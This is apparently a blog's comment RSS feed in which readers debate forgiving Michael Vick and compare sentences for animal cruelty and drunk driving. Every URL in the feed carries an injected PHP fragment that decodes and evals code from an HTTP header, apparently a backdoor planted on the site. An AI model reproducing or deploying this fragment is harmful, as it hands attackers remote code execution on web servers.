Comments on: Changing your Mind and Forgiveness http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ A blog about charity, chess, poker and other random thoughts! Wed, 28 Jul 2010 14:52:27 +0000 http://wordpress.org/?v=2.8.2 hourly 1 By: Stockton http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-74 Stockton Wed, 16 Sep 2009 11:51:15 +0000 http://gregshahade.com/blog/?p=68#comment-74 Penn Jillette really put this subject into perspective when speaking about the attitude(s) taken towards Vick http://www.youtube.com/watch?v=4vVAQ2VGvdM&feature=channel Penn Jillette really put this subject into perspective when speaking about the attitude(s) taken towards Vick

http://www.youtube.com/watch?v=4vVAQ2VGvdM&feature=channel

]]> By: Jennifer http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-72 Jennifer Thu, 10 Sep 2009 01:07:49 +0000 http://gregshahade.com/blog/?p=68#comment-72 I just find it annoying that there is so much talk about animal rights and so little comparably about prisoner's rights, how they're mistreated in jail and how unfairly hard it is to get a job after they get out. That's why after reading up a little on the issue, despite not being a football fan at all, I'm in favor of him being on the team. Also from a purely practical POV, there will be more $$ for animal rights in Philly because of him. I've already heard more animal rights awareness ads on the Philly radiowaves lately. I wonder if the protesters ever thought about that- that if they got what they wanted it could actually harm animals rather than help them. I just find it annoying that there is so much talk about animal rights and so little comparably about prisoner’s rights, how they’re mistreated in jail and how unfairly hard it is to get a job after they get out.

That’s why after reading up a little on the issue, despite not being a football fan at all, I’m in favor of him being on the team.

Also from a purely practical POV, there will be more $$ for animal rights in Philly because of him. I’ve already heard more animal rights awareness ads on the Philly radiowaves lately. I wonder if the protesters ever thought about that- that if they got what they wanted it could actually harm animals rather than help them.

]]> By: curtains http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-71 curtains Tue, 08 Sep 2009 04:27:26 +0000 http://gregshahade.com/blog/?p=68#comment-71 I don't think it's nearly as simple as you are making it out to be. In order to claim that an animal's life is being treated as more valuable than a human's life, the crimes against each would have to be of a similar nature with similar intent. In one case you had someone who intentionally tortured, manipulated and brutally killed many creatures. In another case you had someone do something irresponsible and illegal, but clearly with no intent of causing anyone harm. Irregardless of whether one sentence was too harsh or the other sentence wasn't harsh enough, these situations are not comparable for many reasons. One party consciously and intentionally caused suffering and pain while the other did so accidentally, albeit helped due to the fact that he irresponsibly and illegally decided to drink while driving. Also sentences around the nation vary greatly for different crimes for many reasons, such as the difference between judges, juries, state laws, defense lawyers and etc. It's a bit unscientific to take exactly two cases, compare the results, and determine that this is the standard. There are plenty of times where the drunk driver would have received a significantly harsher sentence than the animal cruelty suspect. I could easily find a situation where someone has been put in jail for decades or even for life for selling marijuana, and also find someone who was in jail for just a few years for murdering someone in cold blood. Can I now cry that selling marijuana is worse than murdering someone? It's just two cases out of thousands that happen each year. I don’t think it’s nearly as simple as you are making it out to be. In order to claim that an animal’s life is being treated as more valuable than a human’s life, the crimes against each would have to be of a similar nature with similar intent.

In one case you had someone who intentionally tortured, manipulated and brutally killed many creatures.

In another case you had someone do something irresponsible and illegal, but clearly with no intent of causing anyone harm.

Irregardless of whether one sentence was too harsh or the other sentence wasn’t harsh enough, these situations are not comparable for many reasons. One party consciously and intentionally caused suffering and pain while the other did so accidentally, albeit helped due to the fact that he irresponsibly and illegally decided to drink while driving.

Also sentences around the nation vary greatly for different crimes for many reasons, such as the difference between judges, juries, state laws, defense lawyers and etc. It’s a bit unscientific to take exactly two cases, compare the results, and determine that this is the standard. There are plenty of times where the drunk driver would have received a significantly harsher sentence than the animal cruelty suspect.

I could easily find a situation where someone has been put in jail for decades or even for life for selling marijuana, and also find someone who was in jail for just a few years for murdering someone in cold blood. Can I now cry that selling marijuana is worse than murdering someone? It’s just two cases out of thousands that happen each year.

]]> By: Mike Storemski http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-70 Mike Storemski Tue, 08 Sep 2009 04:08:11 +0000 http://gregshahade.com/blog/?p=68#comment-70 I know, I know, I kind of went off on a couple of different tangents there. The main point I was trying to making b4 I went off on my euthanasia rant, is that Mike Vick, while what he did what horrible, deplorable, & unspeakable has done his time, while another guy (Stallworth) killed a human being while driving drunk and served 24 days in jail, while Vick served 23 months for killing dogs. My point was is an animal's life now more important than a human beings life? I know, I know, I kind of went off on a couple of different tangents there. The main point I was trying to making b4 I went off on my euthanasia rant, is that Mike Vick, while what he did what horrible, deplorable, & unspeakable has done his time, while another guy (Stallworth) killed a human being while driving drunk and served 24 days in jail, while Vick served 23 months for killing dogs.

My point was is an animal’s life now more important than a human beings life?

]]> By: curtains http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-69 curtains Sat, 05 Sep 2009 00:41:07 +0000 http://gregshahade.com/blog/?p=68#comment-69 Regardless of whether or not you can or should be able to euthanize your dog at home, that is clearly not what was happening in the Michael Vick case. Regardless of whether or not you can or should be able to euthanize your dog at home, that is clearly not what was happening in the Michael Vick case.

]]> By: Mike Storemski http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-68 Mike Storemski Sat, 05 Sep 2009 00:28:34 +0000 http://gregshahade.com/blog/?p=68#comment-68 Well put. My main gripe was that the Eagles got Michael Vick & not my Detroit Lions :)....(although I am no longer a rabid sports fan as I once was, aging does that to a person I guess). I know what Vick did was extremely wrong and I am not trying to defend him, but I find it absolutely ludicrous when you cannot put your own dog down "Old Yeller-style", without some jail-sentence penalty. You are expected to go to the vet and spend $50-$100 for a vet to euthanize your dog when the cost of a bullet is about a dime and instant. Yet if you were to be caught doing this to your family pet (whom you love) you would be charged with animal cruelty. I find the judicial system an utter joke when Vick did the time he did for killing animals & Donte Stallworth killed a man while driving impaired and received 30 days in jail & 10 years probation...FOR KILLING A MAN, not an animal. Wow, what a country, eh? Well put. My main gripe was that the Eagles got Michael Vick & not my Detroit Lions :) ….(although I am no longer a rabid sports fan as I once was, aging does that to a person I guess).

I know what Vick did was extremely wrong and I am not trying to defend him, but I find it absolutely ludicrous when you cannot put your own dog down “Old Yeller-style”, without some jail-sentence penalty. You are expected to go to the vet and spend $50-$100 for a vet to euthanize your dog when the cost of a bullet is about a dime and instant. Yet if you were to be caught doing this to your family pet (whom you love) you would be charged with animal cruelty.

I find the judicial system an utter joke when Vick did the time he did for killing animals & Donte Stallworth killed a man while driving impaired and received 30 days in jail & 10 years probation…FOR KILLING A MAN, not an animal. Wow, what a country, eh?

]]> By: kamus http://gregshahade.com/blog/2009/09/03/changing-your-mind-and-forgiveness/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-67 kamus Fri, 04 Sep 2009 23:48:51 +0000 http://gregshahade.com/blog/?p=68#comment-67 Eloquently put- and no, it didn't come off as lecture-ish. Forgiveness is not something you hear too much of these days, unfortunately. Eloquently put- and no, it didn’t come off as lecture-ish. Forgiveness is not something you hear too much of these days, unfortunately.

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